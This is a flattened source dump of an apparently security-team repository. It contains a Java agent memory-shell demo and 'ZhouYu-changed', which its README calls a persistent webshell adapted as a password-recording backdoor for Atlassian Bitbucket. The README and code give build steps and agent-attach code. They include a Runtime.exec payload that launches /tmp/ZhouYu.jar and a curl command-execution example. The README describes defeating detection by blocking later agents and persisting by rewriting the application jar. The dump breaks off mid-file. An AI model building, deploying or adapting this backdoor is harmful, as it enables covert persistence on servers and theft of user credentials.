├── AgentTest ├── .idea │ ├── .gitignore │ ├── compiler.xml │ ├── jarRepositories.xml │ ├── libraries │ │ └── tools.xml │ └── misc.xml ├── AgentTest.iml ├── pom.xml └── src │ └── main │ ├── java │ ├── AgentTest.java │ ├── AttachAgent.java │ ├── Peoples.java │ └── TransformerTest.java │ └── resources │ └── MANIFEST.MF ├── README.md ├── ToRun ├── .idea │ ├── .gitignore │ ├── description.html │ ├── encodings.xml │ ├── misc.xml │ ├── modules.xml │ ├── project-template.xml │ └── uiDesigner.xml ├── ToRun.iml └── src │ ├── Main.java │ └── Peoples.java ├── ZhouYu-changed ├── .gitignore ├── LICENSE ├── README.md ├── agent │ ├── build.gradle │ └── src │ │ └── main │ │ └── java │ │ └── zhouyu │ │ └── agent │ │ ├── ExpGen.java │ │ └── ZhouYu.java ├── build.gradle ├── core │ ├── build.gradle │ └── src │ │ └── main │ │ └── java │ │ └── zhouyu │ │ └── core │ │ ├── config │ │ └── Config.java │ │ ├── init │ │ ├── ProtectTransformer.java │ │ └── WriteShellTransformer.java │ │ ├── transformer │ │ ├── CoreClassFileTransformer.java │ │ └── Transformer.java │ │ └── util │ │ └── JavassistUtil.java └── settings.gradle └── images └── qrcode.jpg /AgentTest/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /AgentTest/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /AgentTest/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /AgentTest/.idea/libraries/tools.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /AgentTest/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /AgentTest/AgentTest.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /AgentTest/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | 8 | org.javassist 9 | javassist 10 | 3.20.0-GA 11 | 12 | 13 | com.sun 14 | tools 15 | 1.8.0 16 | system 17 | C:/Program Files/Java/jdk1.8.0_221/lib/tools.jar 18 | 19 | 20 | 21 | org.example 22 | AgentTest 23 | 1.0-SNAPSHOT 24 | 25 | 26 | 27 | 28 | maven-assembly-plugin 29 | 30 | 31 | jar-with-dependencies 32 | 33 | 34 | src/main/resources/MANIFEST.MF 35 | 36 | 37 | 38 | 39 | make-assembly 40 | package 41 | 42 | assembly 43 | 44 | 45 | 46 | 47 | 48 | org.apache.maven.plugins 49 | maven-compiler-plugin 50 | 51 | 7 52 | 7 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /AgentTest/src/main/java/AgentTest.java: -------------------------------------------------------------------------------- 1 | import java.lang.instrument.ClassDefinition; 2 | import java.lang.instrument.Instrumentation; 3 | import java.lang.instrument.UnmodifiableClassException; 4 | import java.util.Objects; 5 | 6 | public class AgentTest { 7 | 8 | public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException { 9 | 10 | 11 | Class[] classes = inst.getAllLoadedClasses(); 12 | for(Class c : classes) { 13 | inst.addTransformer(new TransformerTest(), true); 14 | System.out.println("add class success"); 15 | inst.retransformClasses(c); 16 | System.out.println("retransform success"); 17 | } 18 | 19 | 20 | /* 21 | Class[] classes = inst.getAllLoadedClasses(); 22 | for(Class c : classes) { 23 | System.out.println("searching"); 24 | System.out.println(c.getName()); 25 | if (c.getName().equalsIgnoreCase("Peoples")) { 26 | ClassDefinition def = new ClassDefinition(c, Objects.requireNonNull(TransformerTest 27 | .getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class"))); 28 | inst.redefineClasses(new ClassDefinition[]{def}); 29 | System.out.println("redefineClasses success"); 30 | } 31 | }*/ 32 | 33 | 34 | 35 | } 36 | } -------------------------------------------------------------------------------- /AgentTest/src/main/java/AttachAgent.java: -------------------------------------------------------------------------------- 1 | import com.sun.tools.attach.VirtualMachine; 2 | import com.sun.tools.attach.VirtualMachineDescriptor; 3 | 4 | import java.io.File; 5 | import java.util.List; 6 | 7 | 8 | public class AttachAgent { 9 | 10 | public static void main(String[] args) throws Exception { 11 | 12 | VirtualMachine vm; 13 | List vmList; 14 | 15 | String agentFile = new File( "E:\\AgentTest\\target\\AgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar").getCanonicalPath(); 16 | System.out.println(agentFile); 17 | try { 18 | vmList = VirtualMachine.list(); 19 | for (VirtualMachineDescriptor vmd : vmList) { 20 | System.out.println(vmd.displayName()); 21 | 22 | if (vmd.displayName().contains("Main") || "".equals(vmd.displayName())) { 23 | vm = VirtualMachine.attach(vmd); 24 | 25 | if (null != vm) { 26 | vm.loadAgent(agentFile); 27 | System.out.println("MemoryShell has been injected."); 28 | vm.detach(); 29 | return; 30 | } 31 | } 32 | 33 | } 34 | 35 | System.out.println("No Tomcat Virtual Machine found."); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /AgentTest/src/main/java/Peoples.java: -------------------------------------------------------------------------------- 1 | public class Peoples { 2 | public void say(){ 3 | System.out.println("hello"); 4 | } 5 | } -------------------------------------------------------------------------------- /AgentTest/src/main/java/TransformerTest.java: -------------------------------------------------------------------------------- 1 | import javassist.*; 2 | import javassist.bytecode.stackmap.TypeData; 3 | 4 | import java.io.*; 5 | import java.lang.instrument.ClassFileTransformer; 6 | import java.security.ProtectionDomain; 7 | import java.lang.instrument.IllegalClassFormatException; 8 | 9 | public class TransformerTest implements ClassFileTransformer { 10 | 11 | @Override 12 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 13 | 14 | /* 15 | if (!className.equalsIgnoreCase("Peoples")) { 16 | return null; 17 | } 18 | return getBytesFromFile("E:\\AgentTest\\target\\classes\\Peoples.class"); 19 | */ 20 | 21 | if(!className.equalsIgnoreCase("Peoples")){ 22 | return null; 23 | } 24 | 25 | 26 | ClassPool classPool = ClassPool.getDefault(); 27 | classPool.appendClassPath(new LoaderClassPath(loader)); 28 | CtClass ctClass = null; 29 | try { 30 | ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer)); 31 | } catch (IOException e) { 32 | e.printStackTrace(); 33 | } 34 | CtMethod ctm= null; 35 | try { 36 | ctm = ctClass.getDeclaredMethod("say"); 37 | } catch (NotFoundException e) { 38 | e.printStackTrace(); 39 | } 40 | StringBuilder codeBuilder = new StringBuilder() 41 | .append("System.out.println(\"world\");").append("\n") 42 | ; 43 | String beforeCode= codeBuilder.toString(); 44 | try { 45 | ctm.insertAfter(beforeCode); 46 | } catch (CannotCompileException e) { 47 | e.printStackTrace(); 48 | } 49 | try { 50 | return ctClass.toBytecode(); 51 | } catch (IOException e) { 52 | e.printStackTrace(); 53 | } catch (CannotCompileException e) { 54 | e.printStackTrace(); 55 | } 56 | return null; 57 | } 58 | 59 | public static byte[] getBytesFromFile(String fileName) { 60 | File file = new File(fileName); 61 | try { 62 | InputStream is = new FileInputStream(file); 63 | long length = file.length(); 64 | byte[] bytes = new byte[(int) length]; 65 | 66 | // Read in the bytes 67 | int offset = 0; 68 | int numRead = 0; 69 | while (offset < bytes.length 70 | && (numRead = is.read(bytes, offset, bytes.length - offset)) >= 0) { 71 | offset += numRead; 72 | } 73 | 74 | if (offset < bytes.length) { 75 | throw new IOException("Could not completely read file " 76 | + file.getName()); 77 | } 78 | is.close(); 79 | return bytes; 80 | } catch (Exception e) { 81 | System.out.println("error occurs in _ClassTransformer!" 82 | + e.getClass().getName()); 83 | return null; 84 | } 85 | 86 | } 87 | } -------------------------------------------------------------------------------- /AgentTest/src/main/resources/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Agent-Class: AgentTest 3 | Can-Redefine-Classes: true 4 | Can-Retransform-Classes: true 5 | 6 | 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LearningAgentShell 2 | 3 | ## 本文是7bits安全团队文章《Java安全-记一次实战使用memoryshell》涉及到的 4 | 5 | * ToRun 6 | 7 | 一个样例程序,通过AgentTest修改正在执行的代码内容 8 | 9 | * AgentTest 10 | 11 | 通过java的Agent与assist技术操作jvm内存达到修改另一个程序内存的效果 12 | 13 | * ZhouYu-changed 14 | 15 | 基于ZhouYu,针对atlassian bitbucket定制的记录密码后门 16 | 17 | ### 欢迎关注我们的公众号 - Zbits2022 18 | 19 | ![](/images/qrcode.jpg) 20 | 21 | 22 | -------------------------------------------------------------------------------- /ToRun/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /ToRun/.idea/description.html: -------------------------------------------------------------------------------- 1 | Simple Java application that includes a class with main() method -------------------------------------------------------------------------------- /ToRun/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ToRun/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /ToRun/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /ToRun/.idea/project-template.xml: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ToRun/.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /ToRun/ToRun.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /ToRun/src/Main.java: -------------------------------------------------------------------------------- 1 | public class Main { 2 | 3 | public static void main(String[] args) throws Exception{ 4 | while (true){ 5 | new Peoples().say(); 6 | Thread.sleep(5000); 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /ToRun/src/Peoples.java: -------------------------------------------------------------------------------- 1 | public class Peoples { 2 | public void say(){ 3 | System.out.println("hello"); 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /ZhouYu-changed/.gitignore: -------------------------------------------------------------------------------- 1 | /build/ 2 | .idea 3 | *.iws 4 | *.iml 5 | *.ipr 6 | /out/ 7 | .DS_Store 8 | out/ 9 | /gradlew.bat 10 | /gradle 11 | /gradlew 12 | **/build 13 | **/*.jar 14 | .gradle -------------------------------------------------------------------------------- /ZhouYu-changed/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /ZhouYu-changed/README.md: -------------------------------------------------------------------------------- 1 | *工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责* 2 | 3 | ### ZhouYu -> 周瑜 4 | 5 | Java - SpringBoot 持久化 WebShell(适配任何符合JavaEE规范的服务) 6 | 7 | 背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失! 8 | 9 | 1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀 10 | 11 | 2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉 12 | 13 | ### 一、打包编译 14 | 15 | 命令: 16 | ```text 17 | gradle :agent:shadowJar 18 | ``` 19 | 或 20 | ```text 21 | ./gradlew :agent:shadowJar 22 | ``` 23 | 24 | 编译后得到 agent/build/libs/agent-1.0-SNAPSHOT-all.jar,即ZhouYu.jar 25 | 26 | ### 二、使用方式 27 | 28 | 两种场景: 29 | 30 | 1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多 31 | ```text 32 | java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号! 33 | ``` 34 | 35 | 2. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码) 36 | 37 | 先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar 38 | 39 | 接着执行下面代码: 40 | ``` 41 | try { 42 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName(); 43 | int indexOf = pid.indexOf('@'); 44 | if (indexOf > 0) { 45 | pid = pid.substring(0, indexOf); 46 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid)); 47 | } 48 | } catch (Throwable throwable) { 49 | 50 | } 51 | ``` 52 | 53 | 3. 执行命令 54 | ``` 55 | curl -XGET "http://127.0.0.1:8080?cmd=whoami" 56 | ``` 57 | 58 | ### WARNNING 59 | 60 | #### 为了防止出现生产事故,在对原有jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk) -------------------------------------------------------------------------------- /ZhouYu-changed/agent/build.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7BitsTeam/LearningAgentShell/2706a03162e87e1c7a355aa09a409d9548a32af1/ZhouYu-changed/agent/build.gradle -------------------------------------------------------------------------------- /ZhouYu-changed/agent/src/main/java/zhouyu/agent/ExpGen.java: -------------------------------------------------------------------------------- 1 | package zhouyu.agent; 2 | 3 | import java.io.IOException; 4 | 5 | public class ExpGen { 6 | 7 | public static void main(String[] args) throws IOException { 8 | try { 9 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName(); 10 | int indexOf = pid.indexOf('@'); 11 | if (indexOf > 0) { 12 | pid = pid.substring(0, indexOf); 13 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid)); 14 | } 15 | } catch (Throwable throwable) { 16 | 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /ZhouYu-changed/agent/src/main/java/zhouyu/agent/ZhouYu.java: -------------------------------------------------------------------------------- 1 | package zhouyu.agent; 2 | 3 | import com.sun.tools.attach.AgentInitializationException; 4 | import com.sun.tools.attach.AgentLoadException; 5 | import com.sun.tools.attach.AttachNotSupportedException; 6 | import com.sun.tools.attach.VirtualMachine; 7 | import java.io.IOException; 8 | import java.lang.instrument.Instrumentation; 9 | import zhouyu.core.config.Config; 10 | import zhouyu.core.transformer.CoreClassFileTransformer; 11 | 12 | public class ZhouYu { 13 | 14 | public static void premain(String agentArg, Instrumentation inst) { 15 | init(agentArg, inst); 16 | } 17 | 18 | public static void agentmain(String agentArg, Instrumentation inst) { 19 | init(agentArg, inst); 20 | } 21 | 22 | public static synchronized void init(String action, Instrumentation inst) { 23 | System.out.println("[ZhouYu] 持久化Agent Shell启动 ..."); 24 | System.out.println(String.format("[ZhouYu] 参数: %s", action)); 25 | try { 26 | Config.init(action); 27 | CoreClassFileTransformer coreClassFileTransformer = new CoreClassFileTransformer(inst); 28 | inst.addTransformer(coreClassFileTransformer, true); 29 | coreClassFileTransformer.retransform(); 30 | } catch (Throwable e) { 31 | System.err.println("[ZhouYu] 持久化Agent Shell写入失败!"); 32 | e.printStackTrace(); 33 | } 34 | } 35 | 36 | public static void main(String[] args) 37 | throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { 38 | if (args.length == 0) { 39 | System.err.println("[ZhouYu] 参数缺少,例:java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!"); 40 | System.exit(-1); 41 | } 42 | VirtualMachine vmObj = null; 43 | 44 | try { 45 | vmObj = VirtualMachine.attach(args[0]); 46 | String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile(); 47 | if (vmObj != null) { 48 | if (args.length > 1) { 49 | vmObj.loadAgent(agentpath, args[1]); 50 | } else { 51 | vmObj.loadAgent(agentpath); 52 | } 53 | } 54 | } finally { 55 | if (null != vmObj) { 56 | vmObj.detach(); 57 | } 58 | 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /ZhouYu-changed/build.gradle: -------------------------------------------------------------------------------- 1 | buildscript { 2 | repositories { 3 | jcenter() 4 | } 5 | 6 | dependencies { 7 | classpath "com.github.jengelman.gradle.plugins:shadow:4.0.3" 8 | } 9 | } 10 | 11 | allprojects { 12 | apply plugin: 'java' 13 | 14 | group 'zhouyu' 15 | version '1.0-SNAPSHOT' 16 | 17 | sourceCompatibility = 1.8 18 | targetCompatibility = 1.8 19 | } 20 | 21 | subprojects { 22 | dependencies { 23 | testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0' 24 | testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine' 25 | 26 | runtime files(org.gradle.internal.jvm.Jvm.current().toolsJar) 27 | } 28 | 29 | repositories { 30 | mavenCentral() 31 | } 32 | 33 | test { 34 | useJUnitPlatform() 35 | } 36 | } 37 | 38 | project(":agent") { 39 | 40 | apply plugin: 'com.github.johnrengelman.shadow' 41 | 42 | shadowJar { 43 | manifest { 44 | attributes 'Main-Class': 'zhouyu.agent.ZhouYu' 45 | attributes 'Premain-Class': 'zhouyu.agent.ZhouYu' 46 | attributes 'Agent-Class': 'zhouyu.agent.ZhouYu' 47 | attributes 'Can-Redefine-Classes': true 48 | attributes 'Can-Retransform-Classes': true 49 | } 50 | 51 | relocate 'javassist', 'zhouyu.javassist' 52 | } 53 | 54 | dependencies { 55 | compile project(":core") 56 | } 57 | 58 | project.jar.enabled(false) 59 | project.build.dependsOn(shadowJar) 60 | } 61 | 62 | project(":core") { 63 | 64 | dependencies { 65 | compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA' 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/build.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7BitsTeam/LearningAgentShell/2706a03162e87e1c7a355aa09a409d9548a32af1/ZhouYu-changed/core/build.gradle -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/config/Config.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.config; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | 9 | public class Config { 10 | 11 | private static Config config; 12 | 13 | private static Boolean printError = false; 14 | 15 | public static final Config getInstance() { 16 | if (config == null) { 17 | synchronized (Config.class) { 18 | if (config == null) { 19 | config = new Config(); 20 | } 21 | } 22 | } 23 | return config; 24 | } 25 | 26 | public static void init(String action) throws IllegalAccessException { 27 | if (action == null || action.isEmpty()) { 28 | return; 29 | } 30 | Config config = getInstance(); 31 | Map fieldMap = new HashMap<>(); 32 | Field[] fields = Config.class.getDeclaredFields(); 33 | for (Field field : fields) { 34 | if (field.getName().equals("config")) { 35 | continue; 36 | } 37 | fieldMap.put(field.getName(), field); 38 | } 39 | 40 | Pattern pattern = Pattern.compile("((.+?)=(.+?))(,|$)"); 41 | Matcher matcher = pattern.matcher(action); 42 | while (matcher.find()) { 43 | String key = matcher.group(2); 44 | String value = matcher.group(3); 45 | Field field; 46 | if ((field = fieldMap.get(key)) != null) { 47 | if (field.getType() == Boolean.class) { 48 | field.set(config, Boolean.valueOf(value)); 49 | } else if (field.getType() == Integer.class) { 50 | field.set(config, Integer.valueOf(value)); 51 | } else if (field.getType() == Long.class) { 52 | field.set(config, Long.valueOf(value)); 53 | } else { 54 | field.set(config, value); 55 | } 56 | } 57 | } 58 | } 59 | 60 | public static Boolean getPrintError() { 61 | return printError; 62 | } 63 | 64 | public static void main(String[] args) { 65 | System.out.println(); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/init/ProtectTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.init; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.LoaderClassPath; 7 | import zhouyu.core.transformer.Transformer; 8 | 9 | public class ProtectTransformer implements Transformer { 10 | 11 | @Override 12 | public boolean condition(String className) { 13 | return false;//这里false,意味着,比周瑜这个javaagent更早启动的javaagent,是不会被检测和干掉的!(意味着,正在运行的rasp不会被干掉) 14 | } 15 | 16 | @Override 17 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) { 18 | return check(className, loader, codeBytes); 19 | } 20 | 21 | private byte[] check(String className, ClassLoader loader, byte[] codeBytes) { 22 | CtClass ctClass = null; 23 | try { 24 | ClassPool 